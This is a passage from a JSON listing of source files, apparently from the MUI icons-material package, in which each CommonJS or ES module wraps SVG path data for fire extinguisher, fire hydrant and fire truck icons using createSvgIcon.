2.54.71.24 0 .64-.03 1.04-.1.27-.05.53.13.58.41.05.27-.13.53-.41.58-.57.11-1.07.12-1.21.12M14.91 22c-.04 0-.09-.01-.13-.02-1.59-.44-2.63-1.03-3.72-2.1-1.4-1.39-2.17-3.24-2.17-5.22 0-1.62 1.38-2.94 3.08-2.94s3.08 1.32 3.08 2.94c0 1.07.93 1.94 2.08 1.94s2.08-.87 2.08-1.94c0-3.77-3.25-6.83-7.25-6.83-2.84 0-5.44 1.58-6.61 4.03-.39.81-.59 1.76-.59 2.8 0 .78.07 2.01.67 3.61.1.26-.03.55-.29.64-.26.1-.55-.04-.64-.29-.49-1.31-.73-2.61-.73-3.96 0-1.2.23-2.29.68-3.24 1.33-2.79 4.28-4.6 7.51-4.6 4.55 0 8.25 3.51 8.25 7.83 0 1.62-1.38 2.94-3.08 2.94s-3.08-1.32-3.08-2.94c0-1.07-.93-1.94-2.08-1.94s-2.08.87-2.08 1.94c0 1.71.66 3.31 1.87 4.51.95.94 1.86 1.46 3.27 1.85.27.07.42.35.35.61-.05.23-.26.38-.47.38\"\n}), 'FingerprintTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireExtinguisher.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 19h10v1c0 1.1-.9 2-2 2H9c-1.1 0-2-.9-2-2zm0-1h10v-5H7zM17 3v6l-3.15-.66c-.01 0-.01.01-.02.02 1.55.62 2.72 1.98 3.07 3.64H7.1c.34-1.66 1.52-3.02 3.07-3.64-.33-.26-.6-.58-.8-.95L5 6.5v-1l4.37-.91C9.87 3.65 10.86 3 12 3c.7 0 1.34.25 1.85.66zm-4 3c-.03-.59-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1\"\n}), 'FireExtinguisher');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireExtinguisher.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 19h10v1c0 1.1-.9 2-2 2H9c-1.1 0-2-.9-2-2zm0-1h10v-5H7zM17 3v6l-3.15-.66c-.01 0-.01.01-.02.02 1.55.62 2.72 1.98 3.07 3.64H7.1c.34-1.66 1.52-3.02 3.07-3.64-.33-.26-.6-.58-.8-.95L5 6.5v-1l4.37-.91C9.87 3.65 10.86 3 12 3c.7 0 1.34.25 1.85.66zm-4 3c-.03-.59-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1\"\n}), 'FireExtinguisher');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireExtinguisherOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 19h10v1c0 1.1-.9 2-2 2H9c-1.1 0-2-.9-2-2zm0-1h10v-5H7zM17 3v6l-3.15-.66c-.01 0-.01.01-.02.02 1.55.62 2.72 1.98 3.07 3.64H7.1c.34-1.66 1.52-3.02 3.07-3.64-.33-.26-.6-.58-.8-.95L5 6.5v-1l4.37-.91C9.87 3.65 10.86 3 12 3c.7 0 1.34.25 1.85.66zm-4 3c-.03-.59-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1\"\n}), 'FireExtinguisherOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireExtinguisherOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 19h10v1c0 1.1-.9 2-2 2H9c-1.1 0-2-.9-2-2zm0-1h10v-5H7zM17 3v6l-3.15-.66c-.01 0-.01.01-.02.02 1.55.62 2.72 1.98 3.07 3.64H7.1c.34-1.66 1.52-3.02 3.07-3.64-.33-.26-.6-.58-.8-.95L5 6.5v-1l4.37-.91C9.87 3.65 10.86 3 12 3c.7 0 1.34.25 1.85.66zm-4 3c-.03-.59-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1\"\n}), 'FireExtinguisherOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireExtinguisherRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 19h10v1c0 1.1-.9 2-2 2H9c-1.1 0-2-.9-2-2zm0-1h10v-5H7zM17 4.23v3.54c0 .63-.58 1.11-1.21.98l-1.94-.41c0 .02 0 .01-.01.03 1.54.62 2.71 1.98 3.06 3.63H7.1c.34-1.66 1.52-3.02 3.07-3.64-.33-.26-.6-.58-.8-.95L5.49 6.6C5.2 6.54 5 6.29 5 6s.2-.54.49-.6l3.88-.81C9.87 3.65 10.86 3 12 3c.7 0 1.34.25 1.85.66l1.94-.41c.63-.13 1.21.35 1.21.98M13 6c-.03-.59-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1\"\n}), 'FireExtinguisherRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireExtinguisherRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 19h10v1c0 1.1-.9 2-2 2H9c-1.1 0-2-.9-2-2zm0-1h10v-5H7zM17 4.23v3.54c0 .63-.58 1.11-1.21.98l-1.94-.41c0 .02 0 .01-.01.03 1.54.62 2.71 1.98 3.06 3.63H7.1c.34-1.66 1.52-3.02 3.07-3.64-.33-.26-.6-.58-.8-.95L5.49 6.6C5.2 6.54 5 6.29 5 6s.2-.54.49-.6l3.88-.81C9.87 3.65 10.86 3 12 3c.7 0 1.34.25 1.85.66l1.94-.41c.63-.13 1.21.35 1.21.98M13 6c-.03-.59-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1\"\n}), 'FireExtinguisherRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireExtinguisherSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 19h10v3H7zm0-1h10v-5H7zM17 3v6l-3.15-.66c-.01 0-.01.01-.02.02 1.55.62 2.72 1.98 3.07 3.64H7.1c.34-1.66 1.52-3.02 3.07-3.64-.33-.26-.6-.58-.8-.95L5 6.5v-1l4.37-.91C9.87 3.65 10.86 3 12 3c.7 0 1.34.25 1.85.66zm-4 3c-.03-.59-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1\"\n}), 'FireExtinguisherSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireExtinguisherSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 19h10v3H7zm0-1h10v-5H7zM17 3v6l-3.15-.66c-.01 0-.01.01-.02.02 1.55.62 2.72 1.98 3.07 3.64H7.1c.34-1.66 1.52-3.02 3.07-3.64-.33-.26-.6-.58-.8-.95L5 6.5v-1l4.37-.91C9.87 3.65 10.86 3 12 3c.7 0 1.34.25 1.85.66zm-4 3c-.03-.59-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1\"\n}), 'FireExtinguisherSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireExtinguisherTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 19h10v1c0 1.1-.9 2-2 2H9c-1.1 0-2-.9-2-2zm0-1h10v-5H7zM17 3v6l-3.15-.66c-.01 0-.01.01-.02.02 1.55.62 2.72 1.98 3.07 3.64H7.1c.34-1.66 1.52-3.02 3.07-3.64-.33-.26-.6-.58-.8-.95L5 6.5v-1l4.37-.91C9.87 3.65 10.86 3 12 3c.7 0 1.34.25 1.85.66zm-4 3c-.03-.59-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1\"\n}), 'FireExtinguisherTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireExtinguisherTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 19h10v1c0 1.1-.9 2-2 2H9c-1.1 0-2-.9-2-2zm0-1h10v-5H7zM17 3v6l-3.15-.66c-.01 0-.01.01-.02.02 1.55.62 2.72 1.98 3.07 3.64H7.1c.34-1.66 1.52-3.02 3.07-3.64-.33-.26-.6-.58-.8-.95L5 6.5v-1l4.37-.91C9.87 3.65 10.86 3 12 3c.7 0 1.34.25 1.85.66zm-4 3c-.03-.59-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1\"\n}), 'FireExtinguisherTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireHydrantAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 11h-1V8h2V6h-2.35c-.82-2.33-3.04-4-5.65-4S7.17 3.67 6.35 6H4v2h2v3H5c-1.1 0-2 .9-2 2v2c0 1.1.9 2 2 2h1v3H4v2h16v-2h-2v-3h1c1.1 0 2-.9 2-2v-2c0-1.1-.9-2-2-2m-7 6.5c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"14\",\n  r: \"1.5\"\n}, \"1\")], 'FireHydrantAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireHydrantAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 11h-1V8h2V6h-2.35c-.82-2.33-3.04-4-5.65-4S7.17 3.67 6.35 6H4v2h2v3H5c-1.1 0-2 .9-2 2v2c0 1.1.9 2 2 2h1v3H4v2h16v-2h-2v-3h1c1.1 0 2-.9 2-2v-2c0-1.1-.9-2-2-2m-7 6.5c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"14\",\n  r: \"1.5\"\n}, \"1\")], 'FireHydrantAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireHydrantAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 10.5c-1.93 0-3.5 1.57-3.5 3.5s1.57 3.5 3.5 3.5 3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5m0 5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 11h-1V8h2V6h-2.35c-.82-2.33-3.04-4-5.65-4S7.17 3.67 6.35 6H4v2h2v3H5c-1.1 0-2 .9-2 2v2c0 1.1.9 2 2 2h1v3H4v2h16v-2h-2v-3h1c1.1 0 2-.9 2-2v-2c0-1.1-.9-2-2-2m-7-7c1.47 0 2.75.81 3.44 2H8.56c.69-1.19 1.97-2 3.44-2m7 11h-3v5H8v-5H5v-2h3V8h8v5h3z\"\n}, \"1\")], 'FireHydrantAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireHydrantAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 10.5c-1.93 0-3.5 1.57-3.5 3.5s1.57 3.5 3.5 3.5 3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5m0 5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 11h-1V8h2V6h-2.35c-.82-2.33-3.04-4-5.65-4S7.17 3.67 6.35 6H4v2h2v3H5c-1.1 0-2 .9-2 2v2c0 1.1.9 2 2 2h1v3H4v2h16v-2h-2v-3h1c1.1 0 2-.9 2-2v-2c0-1.1-.9-2-2-2m-7-7c1.47 0 2.75.81 3.44 2H8.56c.69-1.19 1.97-2 3.44-2m7 11h-3v5H8v-5H5v-2h3V8h8v5h3z\"\n}, \"1\")], 'FireHydrantAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireHydrantAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 11h-1V8h1c.55 0 1-.45 1-1s-.45-1-1-1h-1.35c-.82-2.33-3.04-4-5.65-4S7.17 3.67 6.35 6H5c-.55 0-1 .45-1 1s.45 1 1 1h1v3H5c-1.1 0-2 .9-2 2v2c0 1.1.9 2 2 2h1v3H5c-.55 0-1 .45-1 1s.45 1 1 1h14c.55 0 1-.45 1-1s-.45-1-1-1h-1v-3h1c1.1 0 2-.9 2-2v-2c0-1.1-.9-2-2-2m-7 6.5c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"14\",\n  r: \"1.5\"\n}, \"1\")], 'FireHydrantAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireHydrantAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 11h-1V8h1c.55 0 1-.45 1-1s-.45-1-1-1h-1.35c-.82-2.33-3.04-4-5.65-4S7.17 3.67 6.35 6H5c-.55 0-1 .45-1 1s.45 1 1 1h1v3H5c-1.1 0-2 .9-2 2v2c0 1.1.9 2 2 2h1v3H5c-.55 0-1 .45-1 1s.45 1 1 1h14c.55 0 1-.45 1-1s-.45-1-1-1h-1v-3h1c1.1 0 2-.9 2-2v-2c0-1.1-.9-2-2-2m-7 6.5c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"14\",\n  r: \"1.5\"\n}, \"1\")], 'FireHydrantAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireHydrantAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 11h-3V8h2V6h-2.35c-.82-2.33-3.04-4-5.65-4S7.17 3.67 6.35 6H4v2h2v3H3v6h3v3H4v2h16v-2h-2v-3h3zm-9 6.5c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"14\",\n  r: \"1.5\"\n}, \"1\")], 'FireHydrantAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireHydrantAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 11h-3V8h2V6h-2.35c-.82-2.33-3.04-4-5.65-4S7.17 3.67 6.35 6H4v2h2v3H3v6h3v3H4v2h16v-2h-2v-3h3zm-9 6.5c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"14\",\n  r: \"1.5\"\n}, \"1\")], 'FireHydrantAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireHydrantAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-1.47 0-2.75.81-3.44 2h6.89c-.7-1.19-1.98-2-3.45-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"14\",\n  r: \"1.5\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 8H8v5H5v2h3v5h8v-5h3v-2h-3zm-4 9.5c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 10.5c-1.93 0-3.5 1.57-3.5 3.5s1.57 3.5 3.5 3.5 3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5m0 5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 11h-1V8h2V6h-2.35c-.82-2.33-3.04-4-5.65-4S7.17 3.67 6.35 6H4v2h2v3H5c-1.1 0-2 .9-2 2v2c0 1.1.9 2 2 2h1v3H4v2h16v-2h-2v-3h1c1.1 0 2-.9 2-2v-2c0-1.1-.9-2-2-2m-7-7c1.47 0 2.75.81 3.44 2H8.56c.69-1.19 1.97-2 3.44-2m7 11h-3v5H8v-5H5v-2h3V8h8v5h3z\"\n}, \"4\")], 'FireHydrantAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireHydrantAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-1.47 0-2.75.81-3.44 2h6.89c-.7-1.19-1.98-2-3.45-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"14\",\n  r: \"1.5\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 8H8v5H5v2h3v5h8v-5h3v-2h-3zm-4 9.5c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 10.5c-1.93 0-3.5 1.57-3.5 3.5s1.57 3.5 3.5 3.5 3.5-1.57 3.5-3.5-1.57-3.5-3.5-3.5m0 5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 11h-1V8h2V6h-2.35c-.82-2.33-3.04-4-5.65-4S7.17 3.67 6.35 6H4v2h2v3H5c-1.1 0-2 .9-2 2v2c0 1.1.9 2 2 2h1v3H4v2h16v-2h-2v-3h1c1.1 0 2-.9 2-2v-2c0-1.1-.9-2-2-2m-7-7c1.47 0 2.75.81 3.44 2H8.56c.69-1.19 1.97-2 3.44-2m7 11h-3v5H8v-5H5v-2h3V8h8v5h3z\"\n}, \"4\")], 'FireHydrantAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireTruck.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.9 10.69-1.44-4.32C21.18 5.55 20.42 5 19.56 5H19V4c0-.55-.45-1-1-1h-1c-.55 0-1 .45-1 1v1h-2c-1.1 0-2 .9-2 2v4H1v5c0 1.1.9 2 2 2h1c0 1.66 1.34 3 3 3s3-1.34 3-3h4c0 1.66 1.34 3 3 3s3-1.34 3-3h3v-6.68c0-.21-.03-.42-.1-.63M7 19c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m10 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-3-8V7h5.56l1.33 4z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 8.5h-1v-2h1V5H1v1.5h1v2H1V10h10zm-5.75 0H3.5v-2h1.75zm3.25 0H6.75v-2H8.5z\"\n}, \"1\")], 'FireTruck');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireTruck.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.9 10.69-1.44-4.32C21.18 5.55 20.42 5 19.56 5H19V4c0-.55-.45-1-1-1h-1c-.55 0-1 .45-1 1v1h-2c-1.1 0-2 .9-2 2v4H1v5c0 1.1.9 2 2 2h1c0 1.66 1.34 3 3 3s3-1.34 3-3h4c0 1.66 1.34 3 3 3s3-1.34 3-3h3v-6.68c0-.21-.03-.42-.1-.63M7 19c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m10 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-3-8V7h5.56l1.33 4z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 8.5h-1v-2h1V5H1v1.5h1v2H1V10h10zm-5.75 0H3.5v-2h1.75zm3.25 0H6.75v-2H8.5z\"\n}, \"1\")], 'FireTruck');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireTruckOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.9 10.69-1.44-4.32C21.18 5.55 20.42 5 19.56 5H19V4c0-.55-.45-1-1-1h-1c-.55 0-1 .45-1 1v1h-2c-1.1 0-2 .9-2 2v4H1v5c0 1.1.9 2 2 2h1c0 1.66 1.34 3 3 3s3-1.34 3-3h4c0 1.66 1.34 3 3 3s3-1.34 3-3h3v-6.68c0-.21-.03-.42-.1-.63M14 7h5.56l1.33 4H14zM7 19c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m5-3H9.22c-.55-.61-1.33-1-2.22-1s-1.67.39-2.22 1H3v-3h9zm5 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m2.22-3c-.55-.61-1.34-1-2.22-1s-1.67.39-2.22 1H14v-3h7v3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 8.5h-1v-2h1V5H1v1.5h1v2H1V10h10zm-2.5 0H6.75v-2H8.5zm-5-2h1.75v2H3.5z\"\n}, \"1\")], 'FireTruckOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FireTruckOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.9 10.69-1.44-4.32C21.18 5.55 20.42 5 19.56 5H19V4c0-.55-.45-1-1-1h-1c-.55 0-1 .45-1 1v1h-2c-1.1 0-2 .9-2 2v4H1v5c0 1.1.9 2 2 2h1c0 1.66 1.34 3 3 3s3-1.34 3-3h4c0 1.66 1.34 3 3 3s3-1.34 3-3h3v-6.68c0-.21-.03-.42-.1-.63M14 7h5.56l1.33 4H14zM7 19c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m5-3H9.22c-.55-.61-1.33-1-2.22-1s-1.67.39-2.22 1H3v-3h9zm5 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m2.22-3c-.55-.61-1.34-1-2.22-1s-1.67.39-2.22 1H14v-3h7v3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 